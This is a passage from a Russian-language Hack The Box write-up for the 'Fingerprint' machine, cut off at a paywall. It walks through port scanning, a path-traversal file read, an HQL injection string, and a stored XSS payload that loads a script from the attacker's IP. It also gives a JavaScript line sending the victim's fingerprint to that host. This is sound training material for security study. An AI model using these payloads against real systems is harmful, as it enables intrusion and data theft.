В этом рай­тапе мы исполь­зуем LFI для получе­ния исходно­го кода при­ложе­ния, XSS — для получе­ния фин­гер­прин­та поль­зовате­ля, обой­дем авто­риза­цию через HQL-инъ­екцию, заюзаем баг в при­ложе­нии на Java и нем­ного покодим на Python, что­бы получить при­ват­ный ключ. В зак­лючение — раз­берем ошиб­ку в шиф­ровании и узна­ем сек­рет!

Все это — в рам­ках про­хож­дения «безум­ной» по слож­ности машины Fingerprint с пло­щад­ки Hack The Box.

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

 

Разведка

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.127 fingerprint.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Результат работы скрипта
Ре­зуль­тат работы скрип­та

На­ходим три откры­тых пор­та:

  • 22 — служ­ба OpenSSH 7.6p1;
  • 80 — веб‑сер­вер Werkzeug httpd 1.0.1;
  • 8080 — веб‑сер­вер GlassFish Open Source Edition 5.0.1.

На­ша точ­ка вхо­да — это навер­няка один из двух веб‑сер­веров. Но, изу­чив сай­ты, я ничего инте­рес­ного не нашел. Давай тог­да поищем скры­тый кон­тент.

Справка: сканирование веба c ffuf

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch и DIRB.

Я пред­почитаю лег­кий и очень быс­трый ffuf. При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -t — количес­тво потоков;
  • -u — URL;
  • -fc — исклю­чить из резуль­тата отве­ты с кодом 403.

За­пус­каем ffuf:

ffuf -u http://fingerprint.htb/FUZZ -t 256 -w directory_2.3_medium_lowercase.txt
Результат сканирования каталогов с помощью ffuf
Ре­зуль­тат ска­ниро­вания катало­гов с помощью ffuf
ffuf -u http://fingerprint.htb:8080/FUZZ -t 256 -w directory_2.3_medium_lowercase.txt
Результат сканирования каталогов с помощью ffuf
Ре­зуль­тат ска­ниро­вания катало­гов с помощью ffuf

По­явля­ются новые инте­рес­ные катало­ги. Burp спо­собен сос­тавлять кар­ты сай­та, чем мы и вос­поль­зуем­ся. В дан­ном слу­чае на пос­тро­енной кар­те обна­ружим конеч­ные точ­ки, которые мы бы дол­го иска­ли при гру­бом ска­ниро­вании.

Карта сайта fingerprint.htb
Кар­та сай­та fingerprint.htb

Те­перь важ­но най­ти мес­то, отку­да мы перехо­дим к конеч­ным точ­кам. Исто­рия и поиск в Burp выводят нас на стра­ницу /admin.

Burp History
Burp History
 

Точка входа

LFI

Че­рез стра­ницу /admin/view/ мож­но прос­матри­вать фай­лы, поэто­му про­верим, нет ли тут уяз­вимос­ти чте­ния про­изволь­ных фай­лов в сис­теме. Для перебо­ра фай­лов я буду исполь­зовать Burp Intruder.

Burp Intruder — вкладка Positions
Burp Intruder — вклад­ка Positions

И прос­тая пос­ледова­тель­ность /../..//etc/passwd отоб­разит нам содер­жимое фай­ла /etc/passwd! Это так­же поз­волит нам узнать домаш­ний каталог поль­зовате­ля flask. А это озна­чает дос­туп к исходни­кам сер­вера!

Содержимое файла /etc/passwd
Со­дер­жимое фай­ла /etc/passwd

Сто­ит поп­робовать получить содер­жимое некото­рых стан­дар­тных фай­лов. Так, app/__init__.py ничего не выводит, а app/app.py все же дает код при­ложе­ния (путь /admin/view//../..//home/flask/app/app.py).

Исходный код app.py
Ис­ходный код app.py

Те­перь у нас есть ключ при­ложе­ния (стро­ка 19), а так­же видим импорт фун­кции check из модуля auth (стро­ка 8). Зап­росим этот файл:

/admin/view/../..//home/flask/app/auth.py
Исходный код auth.py
Ис­ходный код auth.py

В стро­ке 13 рас­кры­вает­ся файл базы дан­ных с учет­ными дан­ными. А в стро­ке 16 с помощью фун­кции build_safe_sql_where фор­миру­ется зап­рос. Сама фун­кция импорти­рует­ся из модуля util. Получим сле­дующие фай­лы:

  • /admin/view/../..//home/flask/app/users.db
  • /admin/view/../..//home/flask/app/util.py
Содержимое файла users.db
Со­дер­жимое фай­ла users.db
Содержимое файла util.py
Со­дер­жимое фай­ла util.py

Из фай­ла базы получа­ем учет­ные дан­ные admin:u_will_never_guess_this_password. Исполь­зуя их, можем авто­ризо­вать­ся на сай­те и получить дос­туп к логам.

Страница Logs
Стра­ница Logs

Боль­ше здесь ничего добыть не можем.

HQL injection + XSS = fingerprint

Тог­да поп­робу­ем авто­ризо­вать­ся с получен­ными учет­ными дан­ными на дру­гом сер­висе. Конеч­но, там нас ждет неуда­ча, но на стра­нице логов раз­мер фай­ла уве­личит­ся.

Страница Logs
Стра­ница Logs

А в самом фай­ле будет ука­зан адрес, логин и циф­ровой отпе­чаток поль­зовате­ля, который попытал­ся авто­ризо­вать­ся.

Содержимое файла auth.log
Со­дер­жимое фай­ла auth.log

Так как логином и отпе­чат­ком мы можем опе­риро­вать при авто­риза­ции, есть воз­можность получить XSS. Но к это­му вер­немся чуть поз­же. На сер­вере исполь­зует­ся база дан­ных, а это зна­чит, что сто­ит поп­робовать обой­ти аутен­тифика­цию. На GitHub есть мно­го сло­варей типа auth bypass, и пер­вая же наг­рузка дает сле­дующую ошиб­ку.

Ошибка сервера при обходе авторизации SQL
Ошиб­ка сер­вера при обхо­де авто­риза­ции SQL

По­луча­ем ошиб­ку JDBC, а это зна­чит, что нуж­но выб­рать наг­рузки для HQL. Боль­шая часть ока­жет­ся заб­локиро­вана, но вот такая наг­рузка дает резуль­тат:

x' OR SUBSTRING(username,1,1)='a' and ''='

Нам сооб­щают про невер­ный циф­ровой отпе­чаток (Invalid fingerprint ID).

Сообщение о блокировке запроса
Со­обще­ние о бло­киров­ке зап­роса

Та­ким обра­зом, нам нуж­но получить циф­ровой отпе­чаток адми­нис­тра­тора, в чем нам может помочь уяз­вимость XSS. Сно­ва попыта­емся авто­ризо­вать­ся на вто­ром сер­висе, но вмес­то фин­гер­прин­та отпра­вим наг­рузку:

<script src="http://10.10.14.156:4321/evil.js"></script>

Она будет заг­ружать с нашего сер­вера скрипт с кодом alert('test').

Запрос с нагрузкой XSS
Зап­рос с наг­рузкой XSS
Проверка уязвимости XSS
Про­вер­ка уяз­вимос­ти XSS

Уяз­вимость при­сутс­тву­ет, зна­чит про­дол­жаем. Обыч­но фин­гер­принт генери­рует­ся кодом на JS из мно­жес­тва парамет­ров вро­де раз­мера экра­на, наз­вания и вер­сии бра­узе­ра и про­чих приз­наков. Нам нуж­но най­ти этот код и записать в скрипт на нашем сер­вере. В Burp History мож­но уви­деть заг­рузку скрип­та login.js, он‑то нам и нужен.

Содержимое login.js
Со­дер­жимое login.js

Ко­пиру­ем содер­жимое скрип­та и добав­ляем в кон­це код, который отпра­вит сге­нери­рован­ный фин­гер­принт на наш сер­вер:

location.href="http://10.10.14.156:4321/?id="+getFingerPrintID();

Пос­ле пов­торно­го зап­роса на авто­риза­цию получим фин­гер­принт на наш сер­вер.

Логи локального веб-сервера
Ло­ги локаль­ного веб‑сер­вера

Но и отправ­ляя этот фин­гер­принт, мы получа­ем ту же ошиб­ку: Invalid fingerprint - ID.

Ответ сервера
От­вет сер­вера

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    1 Комментарий
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии